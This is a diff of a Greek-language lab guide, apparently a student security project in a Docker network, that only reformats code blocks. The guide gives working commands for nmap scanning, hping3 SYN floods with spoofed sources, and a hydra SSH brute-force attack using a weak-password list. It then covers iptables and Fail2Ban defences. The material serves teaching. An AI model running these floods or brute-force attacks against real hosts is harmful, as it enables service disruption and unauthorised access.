Update 'project_info.adoc'

project_info.adoc

@@ -112,9 +112,9 @@ sudo password: docker +
 
 === Βρίσκοντας την IP
 ====
-----
+```
 ifconfig
-----
+```
 image:images/if_config.png[]
 
 TIP: IP: 172.19.0.2
@@ -122,9 +122,9 @@ TIP: IP: 172.19.0.2
 
 === Βρίσκοντας τους ενεργούς hosts
 ====
-----
+```
 nmap -sP <IP>
-----
+```
 image:images/nmap_p.png[]
 
 TIP: Αν η IP είναι π.χ. 172.19.0.2, αντί για το τελευταίο νούμερο βάζουμε *.
@@ -133,33 +133,31 @@ TIP: Αν η IP είναι π.χ. 172.19.0.2, αντί για το τελευτ
 
 === Ενεργές πόρτες
 ====
-----
+```
 nmap –p– <IP of worker>
-----
+```
 image:images/nmap_for_ports.png[]
 
 TIP: Εδώ φαίνεται ανοιχτή η πόρτα 22
 ====
 
 === Εγκατάσταση hping3
-====
+```
-----
 sudo apt update 
 sudo apt install hping3
-----
+```
-====
 
 === Εκτέλεση
 ====
-----
+```
 sudo hping3 -S <source IP> -a <target IP> -p <portno> --flood
-----
+```
 image:images/1st_hping3.png[] +
 
 ή +
-----
+```
 sudo hping3 -S --flood -V -p <portno> <target IP>
-----
+```
 image:images/2nd_hping3.png[]
 
 Όπου: +
@@ -170,9 +168,9 @@ image:images/2nd_hping3.png[]
 -p: port number +
 
 SYN packets flood: +
-----
+```
 sudo hping3 <target host> -q -n -d 120 -S -p <portno> --flood --rand-source
-----
+```
 image:images/3rd_hping3.png[]
 
 Όπου: +
@@ -184,13 +182,13 @@ image:images/3rd_hping3.png[]
 
 === Βλέποντας το flood
 ====
-----
+```
 sudo tcpdump  -ni <interface>
-----
+```
 ή +
-----
+```
 sudo tcpdump src <IP>
-----
+```
 Πρώτο attack: +
 image:images/1st_flood.png[] +
 Δεύτερο attack: +
@@ -204,13 +202,13 @@ image:images/3rd_flood.png[] +
 Ένας τρόπος για να αποφευχθούν τα attacks είναι με χρήση των iptables. Είναι κάποιοι κανόνες που μπορούμε να δηλώσουμε ώστε να απαγορεύσουμε/επιτρέψουμε την διέλευση πακέτων. Παρακάτω χρησιμοποιήθηκε κανόνας που κόβει την κίνηση από μία συγκεκριμένη IP.
 ====
 Τα παρακάτω χρειάζονται sudo: +
-----
+```
 iptables -I INPUT -s <IP address we want to block> -j DROP
-----
+```
 Για να δούμε τους κανόνες: +
-----
+```
 iptables -L
-----
+```
 image:images/ip_tables.png[] +
 Με την iptables -nvL μπορούμε να δούμε και στατιστικά, όπως πόσα πακέτα έχουν απορριφθεί από τον κάθε κανόνα.
 ====
@@ -218,27 +216,27 @@ image:images/ip_tables.png[] +
 == SSH Brute Force Attacks
 === SSH Attack with Hydra
 * Εγκατάσταση hydra +
-====
+
-----
+```
 apt-get install hydra 
-----
+```
-====
+  
 * Password list +
 ====
-----
+```
 wget https://downloads.skullsecurity.org/passwords/500-worst-passwords.txt.bz2
 
 bzip2 -d 500-worst-passwords.txt.bz2
-----
+```
 
 TIP: Μπορούμε να επεξεργαστούμε το αρχείο και να προσθέσουμε και δικά μας passwords
 ====
 
 * Find IP address of docker: +
 ====
-----
+```
 ifconfig
-----
+```
 image:images/ssh_find_ip.png[] +
 
 TIP:  Είναι 172.19.0.1 +
@@ -246,31 +244,31 @@ TIP:  Είναι 172.19.0.1 +
 
 * Network range: +
 ====
-----
+```
 ipcalc <IP address>
-----
+```
 image:images/ssh_ipcalc.png[] +
 
 ====
 
 * Scan for open ssh ports: +
 ====
-----
+```
 nmap <IP address/subnet> -p 22 --open
-----
+```
 image:images/ssh_open_ports.png[] +
 ====
 
 * Execute SSH brute force attack: +
 ====
 Η γενική σύνταξη της εντολής είναι (επειδή γνωρίζουμε το username): +
-----
+```
 hydra -l username -P passwords_file.txt ssh://IP -t no_of_tasks
-----
+```
 Άρα γίνεται: +
-----
+```
 hydra -l docker -P '/home/iro/Desktop/500-worst-passwords.txt' ssh://172.19.0.3 -t 8
-----
+```
 image:images/ssh_success.png[] +
 
 TIP:  Password: docker +
@@ -282,35 +280,29 @@ hydra -L usernames.txt -P passwords.txt ssh://172.19.0.3 -t 8
 Το Fail2Ban είναι ένα open-source εργαλείο που αποσκοπεί στο να προστατεύει τα συστήματα από ssh brute force attacks. +
 
 * Εγκατάσταση:
-====
+```
-----
 sudo apt-get install fail2ban
 sudo apt-get -y install rsyslog
 
 sudo rsyslogd
-----
+```
-====
 
 * Backup Fail2Ban main configuration file (just in case)
-====
+```
-----
 cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
-----
+```
-====
 
 * Configure Fail2Ban
-====
+```
-----
 nano /etc/fail2ban/jail.local
-----
+```
-====
 
 * Φτιάχνουμε ένα ssh section και αλλάζουμε τις τιμές ανάλογα με τις προτιμίσεις μας. Δεν ξεχνάμε να κάνουμε restart την υπηρεσία στο τέλος.
 ====
 image:images/ssh_jail.png[] +
-----
+```
 service fail2ban restart
-----
+```
 image:images/fail2ban_running.png[] +
 ====
 
@@ -328,13 +320,13 @@ image:images/docker_iptables_with_fail2ban.png[] +
 * Aν έχουμε κάνει τα προηγούμενα: +
 ====
 Κάνουμε unban +
-----
+```
 sudo fail2ban-client unban --all
-----
+```
 Σταματάμε το fail2ban +
-----
+```
 sudo service fail2ban stop
-----
+```
 ====
 * Βρίσκουμε το αρχείο sshd_config και το ανοίγουμε +
 ====